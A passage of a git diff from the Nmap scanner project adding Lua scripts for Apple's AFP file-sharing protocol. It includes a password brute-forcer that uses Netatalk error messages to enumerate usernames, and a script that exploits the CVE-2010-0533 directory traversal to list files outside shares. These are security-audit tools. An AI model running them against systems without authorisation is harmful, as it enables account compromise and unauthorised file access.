+-- -------- +-- - Netatalk responds with a "Parameter error" when the username is invalid +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' +require 'stdnse' +require 'afp' +require 'unpwdb' + +-- Version 0.2 +-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson +-- Revised 03/09/2010 - v0.2 - changed so that passwords are iterated over users +-- - this change makes better sence as guessing is slow + +portrule = shortport.port_or_service(548, "afp") + +action = function( host, port ) + + local max_time = unpwdb.timelimit() ~= nil and unpwdb.timelimit() * 1000 or -1 + local clock_start = nmap.clock_ms() + local result, response, status, aborted = {}, nil, nil, false + local valid_accounts, found_users = {}, {} + local helper + + status, usernames = unpwdb.usernames() + if not status then return end + + status, passwords = unpwdb.passwords() + if not status then return end + + for password in passwords do + for username in usernames do + if ( not(found_users[username]) ) then + if max_time>0 and nmap.clock_ms() - clock_start > max_time then + aborted=true + break + end + + helper = afp.Helper:new() + status, response = helper:OpenSession( host, port ) + + if ( not(status) ) then + stdnse.print_debug("OpenSession failed") + return + end + + + stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) + status, response = helper:Login( username, password ) + + -- if the response is "Parameter error." we're dealing with Netatalk + -- This basically means that the user account does not exist + -- In this case, why bother continuing? Simply abort and thank Netatalk for the fish + if response:match("Parameter error.") then + stdnse.print_debug("Netatalk told us the user does not exist! Thanks.") + -- mark it as "found" to skip it + found_users[username] = true + end + + if status then + -- Add credentials for other afp scripts to use + if nmap.registry.afp == nil then + nmap.registry.afp = {} + end + nmap.registry.afp[username]=password + found_users[username] = true + + table.insert( valid_accounts, string.format("%s:%s => Login Correct", username, password:len()>0 and password or "" ) ) + break + end + helper:CloseSession() + end + end + usernames("reset") + end + + local output = stdnse.format_output(true, valid_accounts) + + if max_time > 0 and aborted then + output = ( output or "" ) .. string.format(" \n\nscript aborted execution after %d seconds", max_time/1000 ) + end + + return output + +end \ No newline at end of file diff --git a/scripts/afp-path-vuln.nse b/scripts/afp-path-vuln.nse new file mode 100644 index 000000000..2b72cc15c --- /dev/null +++ b/scripts/afp-path-vuln.nse @@ -0,0 +1,177 @@ +description = [[ Detects the Mac OS X AFP directory traversal vulnerability CVE-2010-0533 ]] + +--- +-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) +-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) +-- +--@output +-- PORT STATE SERVICE +-- 548/tcp open afp +-- | afp-path-vuln: +-- | Patrik Karlsson's Public Folder/../ (5 first items) +-- | .bash_history +-- | .bash_profile +-- | .CFUserTextEncoding +-- | .config/ +-- | .crash_report_checksum +-- | +-- |_AFP path traversal (CVE-2010-0533): VULNERABLE +-- +-- Description +-- ----------- +-- This script attempt to iterate over all AFP shares on the remote host. +-- For each share it attempts to access the parent directory by exploiting +-- the directory traversal vulnerability as described in CVE-2010-0533. +-- +-- The script reports whether the system is vulnerable or not. In addition it +-- lists the contents of the parent and child directories to a max depth of 2. +-- +-- When running in verbose mode, all items in the listed directories are shown. +-- In non verbose mode, output is limited to the first 5 items. +-- +-- If the server is not vulnerable, the script will not return any information. +-- +-- +-- For additional information: +-- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533 +-- http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap +-- http://support.apple.com/kb/HT1222 + +-- +-- Version 0.3 +-- +-- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple +-- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support +-- for credentials by argument or registry +-- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"vuln", "safe"} + +require 'shortport' +require 'stdnse' +require 'afp' + +dependencies = {"afp-brute"} + +portrule = shortport.portnumber(548, "tcp") + +--- This function processes the table returned by the Dir method of the Helper class +-- +-- @param tbl table containing the table as return from the Dir method +-- @param max_count number containing the maximum items to return +-- @param out table used when called recursively should be nil on first call +-- @param count number with total amount of entries so far, nil at first call +-- @return table suitable for stdnse.format_output +local function processResponse( tbl, max_count, out, count ) + + local out = out or {} + local count = count or 0 + + for _, v in ipairs(tbl) do + if ( max_count and max_count > 0 and max_count <= count ) then + break + end + if ( v.name ) then + local sfx = ( v.type == 0x80 ) and "/" or "" + table.insert(out, v.name .. sfx ) + count = count + 1 + elseif( type(v) == 'table' ) then + local tmp = {} + table.insert( out, tmp ) + processResponse( v, max_count, tmp, count ) + end + end + + -- strip the outer table + return out[1] +end + +--- This function simply checks if the table contains a Directory Id (DID) of 2 +-- The DID of the AFP sharepoint is always 2, but no child should have this DID +-- +-- @param tbl table containing the table as return from the Dir method +-- @return true if host is vulnerable, false otherwise +local function isVulnerable( tbl ) + for _, v in ipairs(tbl) do + -- if we got no v.id it's probably a container table + if ( not(v.id) ) then + if ( isVulnerable(v) ) then + return true + end + end + if ( v.id == 2 ) then + return true + end + end + return false +end + +action = function(host, port) + + local status, response, shares + local result = {} + local afp_helper = afp.Helper:new() + local args = nmap.registry.args + local users = nmap.registry.afp or { ['nil'] = 'nil' } + local vulnerable = false + + local MAX_FILES = 5 + + if ( args['afp.username'] ) then + users = {} + users[args['afp.username']] = args['afp.password'] + end + + for username, password in pairs(users) do + + status, response = afp_helper:OpenSession(host, port) + if ( not(status) ) then + stdnse.print_debug(response) + return + end + + -- Attempt to use No User Authentication? + if ( username ~= 'nil' ) then + status, response = afp_helper:Login(username, password) + else + status, response = afp_helper:Login(nil, nil) + end + if ( not(status) ) then + stdnse.print_debug("afp-path-vuln: Login failed", response) + stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response) + return + end + + status, shares = afp_helper:ListShares() + + for _, share in ipairs(shares) do + + local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } ) + + if ( not(status) ) then + stdnse.print_debug(3, "afp-path-vuln: %s", response) + else + if ( isVulnerable( response ) ) then + vulnerable = true + if(nmap.verbosity() > 1) then + response = processResponse( response ) + response.name = share .. "/../" + else + response = processResponse( response, MAX_FILES ) + response.name = share .. ("/../ (%d first items)"):format(MAX_FILES) + end + table.insert(result, response) + end + end + end + end + + if ( vulnerable ) then + table.insert(result, "\n\nAFP path traversal (CVE-2010-0533): VULNERABLE") + end + + return stdnse.format_output(true, result) + +end diff --git a/scripts/afp-showmount.nse b/scripts/afp-showmount.nse index 2695893fb..019937430 100644 --- a/scripts/afp-showmount.nse +++ b/scripts/afp-showmount.nse @@ -1,6 +1,9 @@ description = [[ Shows AFP shares and ACLs ]] --- +-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) +-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials) +-- --@output -- PORT STATE SERVICE -- 548/tcp open afp @@ -17,10 +20,13 @@ description = [[ Shows AFP shares and ACLs ]] -- | User: Search,Read -- |_ Options: IsOwner --- Version 0.3 +-- Version 0.4 -- Created 01/03/2010 - v0.1 - created by Patrik Karlsson -- Revised 01/13/2010 - v0.2 - Fixed a bug where a single share wouldn't show due to formatting issues -- Revised 01/20/2010 - v0.3 - removed superflous functions +-- Revised 05/03/2010 - v0.4 - cleaned up and added dependency to afp-brute and added support for credentials +-- by argument or registry + author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -30,119 +36,63 @@ require 'shortport' require 'stdnse' require 'afp' +dependencies = {"afp-brute"} + portrule = shortport.portnumber(548, "tcp") ---- Converts a group bitmask of Search, Read and Write to table --- --- @param acls number containing bitmasked acls --- @return table of ACLs -function acl_group_to_long_string(acls) - - local acl_table = {} - - if bit.band( acls, afp.ACLS.OwnerSearch ) == afp.ACLS.OwnerSearch then - table.insert( acl_table, "Search") - end - - if bit.band( acls, afp.ACLS.OwnerRead ) == afp.ACLS.OwnerRead then - table.insert( acl_table, "Read") - end - - if bit.band( acls, afp.ACLS.OwnerWrite ) == afp.ACLS.OwnerWrite then - table.insert( acl_table, "Write") - end - - return acl_table -end - - ---- Converts a numeric acl to string --- --- @param acls number containig acls as recieved from fp_get_file_dir_parms --- @return table of long ACLs -function acls_to_long_string( acls ) - - local owner = acl_group_to_long_string( bit.band( acls, 255 ) ) - local group = acl_group_to_long_string( bit.band( bit.rshift(acls, 8), 255 ) ) - local everyone = acl_group_to_long_string( bit.band( bit.rshift(acls, 16), 255 ) ) - local user = acl_group_to_long_string( bit.band( bit.rshift(acls, 24), 255 ) ) - - local blank = bit.band( acls, afp.ACLS.BlankAccess ) == afp.ACLS.BlankAccess and "Blank" or nil - local isowner = bit.band( acls, afp.ACLS.UserIsOwner ) == afp.ACLS.UserIsOwner and "IsOwner" or nil - - local options = {} - - if blank then - table.insert(options, "Blank") - end - - if isowner then - table.insert(options, "IsOwner") - end - - local acls_tbl = {} - - table.insert( acls_tbl, string.format( "Owner: %s", stdnse.strjoin(",", owner) ) ) - table.insert( acls_tbl, string.format( "Group: %s", stdnse.strjoin(",", group) ) ) - table.insert( acls_tbl, string.format( "Everyone: %s", stdnse.strjoin(",", everyone) ) ) - table.insert( acls_tbl, string.format( "User: %s", stdnse.strjoin(",", user) ) ) - - if #options > 0 then - table.insert( acls_tbl, string.format( "Options: %s", stdnse.strjoin(",", options ) ) ) - end - - return acls_tbl - -end - action = function(host, port) - local socket = nmap.new_socket() - local status + local status, response, shares local result = {} - - -- set a reasonable timeout value - socket:set_timeout(5000) - - -- do some exception handling / cleanup - local catch = function() - socket:close() - end - - local try = nmap.new_try(catch) + local afpHelper = afp.Helper:new() + local args = nmap.registry.args + local users = nmap.registry.afp or { ['nil'] = 'nil' } - try( socket:connect(host.ip, port.number, "tcp") ) + if ( args['afp.username'] ) then + users = {} + users[args['afp.username']] = args['afp.password'] + end - response = try( afp.open_session(socket) ) - response = try( afp.fp_login( socket, "AFP3.1", "No User Authent") ) - response = try( afp.fp_get_user_info( socket ) ) - response = try( afp.fp_get_srvr_parms( socket ) ) - - volumes = response.volumes - - for _, vol in pairs(volumes) do - table.insert( result, vol ) + for username, password in pairs(users) do - status, response = afp.fp_open_vol( socket, afp.VOL_BITMAP.ID, vol ) + status, response = afpHelper:OpenSession(host, port) + if ( not status ) then + stdnse.print_debug(response) + return + end + + -- if we have a username attempt to authenticate as the user + -- Attempt to use No User Authentication? + if ( username ~= 'nil' ) then + status, response = afpHelper:Login(username, password) + else + status, response = afpHelper:Login() + end + + if ( not status ) then + stdnse.print_debug("afp-showmount: Login failed", response) + stdnse.print_debug(3, "afp-showmount: Login error: %s", response) + return + end + + status, shares = afpHelper:ListShares() if status then - local vol_id = response.volume_id - stdnse.print_debug(string.format("Vol_id: %d", vol_id)) - - local path = {} - path.type = afp.PATH_TYPE.LongNames - path.name = "" - path.len = path.name:len() - - response = try( afp.fp_get_file_dir_parms( socket, vol_id, 2, 0, afp.DIR_BITMAP.AccessRights, path ) ) - local acls = acls_to_long_string(response.acls) - acls.name = nil - try( afp.fp_close_vol( socket, vol_id ) ) - table.insert( result, acls ) + for _, vol in ipairs( shares ) do + local status, response = afpHelper:GetSharePermissions( vol ) + if status then + response.name = vol + table.insert(result, response) + end + end end - - end - - return stdnse.format_output(true, result) + status, response = afpHelper:Logout() + status, response = afpHelper:CloseSession() + + if ( result ) then + return stdnse.format_output(true, result) + end + end + return end \ No newline at end of file diff --git a/scripts/script.db b/scripts/script.db index 0dc6b19a2..b188a09ea 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -1,3 +1,6 @@ +Entry { filename = "afp-brute.nse", categories = { "auth", "intrusive", } } +Entry { filename = "afp-path-exploit.nse", categories = { "safe", "vuln", } } +Entry { filename = "afp-path-vuln.nse", categories = { "safe", "vuln", } } Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } } Entry { filename = "asn-query.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "auth-owners.nse", categories = { "default", "safe", } }